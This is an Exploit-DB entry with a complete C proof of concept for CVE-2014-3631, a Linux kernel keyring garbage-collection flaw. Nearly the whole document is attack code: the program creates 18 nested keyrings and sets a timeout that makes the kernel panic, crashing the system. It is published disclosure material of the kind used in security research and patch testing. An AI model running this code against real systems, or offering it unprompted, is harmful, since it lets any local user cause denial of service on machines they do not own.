Exploit-DB #36268
Description: Linux Kernel 3.16.3 - Associative Array Garbage Collection Crash (PoC)
Type: dos
Platform: linux
Date: 2015-03-04
Author: Emeric Nasi

Exploit:
/* ----------------------------------------------------------------------------------------------------
 * cve-2014-3631_poc.c
 * 
 * The assoc_array_gc function in the associative-array implementation in lib/assoc_array.c in the Linux kernel before 3.16.3 
 * does not properly implement garbage collection, which allows local users to cause a denial of service (NULL pointer dereference and system crash) 
 * or possibly have unspecified other impact via multiple "keyctl newring" operations followed by a "keyctl timeout" operation. 
 *
 * 
 * This is a POC to reproduce vulnerability. No exploitation here, just simple kernel panic.
 * 
 * Compile with gcc -fno-stack-protector -Wall -o cve-2014-3631_poc cve-2014-3631_poc.c  -lkeyutils 
 * 
 * 
 * Emeric Nasi - www.sevagas.com
 *-----------------------------------------------------------------------------------------------------*/


/* -----------------------   Includes ----------------------------*/

#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <inttypes.h>
#include <keyutils.h>
#include <fcntl.h>


#define TARGET_KERNEL_MIN "3.13.0"
#define TARGET_KERNEL_MAX "3.16.2"
#define EXPLOIT_NAME "cve-2014-3631"
#define EXPLOIT_TYPE DOS


/* -----------------------   functions ----------------------------*/



/**
 * Poc for cve_2014_3631 vulnerability
 */
int main()
{
  key_serial_t currentKey = 0;
  key_serial_t topKey = 0;
  int i = 0;
  int fp;
  char kname[16]={0};
  char gc_delay[16] = {0};
  int delay  =0;
  
  printf("[cve_2014_3631]: Preparing to exploit.\n");

  // fetch garbage collector value..
  fp = open("/proc/sys/kernel/keys/gc_delay",O_RDONLY);
  if(fp == -1)
  {
     printf("[cve_2014_3631 error]: Could not open /proc/sys/kernel/keys/gc_delay, assuming delay is 5 minutes. \n");
     delay = 300;
  }
  else
  {
    read(fp,gc_delay,sizeof(gc_delay-1));
    delay = atoi(gc_delay);
    close(fp);  
  }

  // Add top key
  topKey = add_key("keyring","Lvl1K",NULL,0,KEY_SPEC_USER_KEYRING);
  if(topKey == -1)
  {
    printf("[cve_2014_3631 error]: keyring  fault\n");
    perror("add_key");
    return -1;
  }
  
  // Add 18 keys to top key
  for(i=0; i< 18; i++)
  {
    memset(kname,00,sizeof(kname));
    memcpy(kname,"Lvl2K_",strlen("Lvl2K_"));
    sprintf(kname+strlen("Lvl2K_"),"%d",i);
    currentKey = add_key("keyring",kname,NULL,0,topKey);
    if(currentKey == -1)
    {
      printf("[cve_2014_3631 error]: keyring  fault\n");
      perror("add_key");
      return -1;
    }
  } 
  
  /* Entering exploit critical code */
  printf("[cve_2014_3631]:  Exploit!\n");
  
  // Set timeout and wait for garbage collector
  keyctl_set_timeout(currentKey, 2);
  
  // Wait for garbage collector
  printf("[cve_2014_3631]: Exploit triggered, system will panic in  %d seconds..\n",delay);
  
  return 0;
}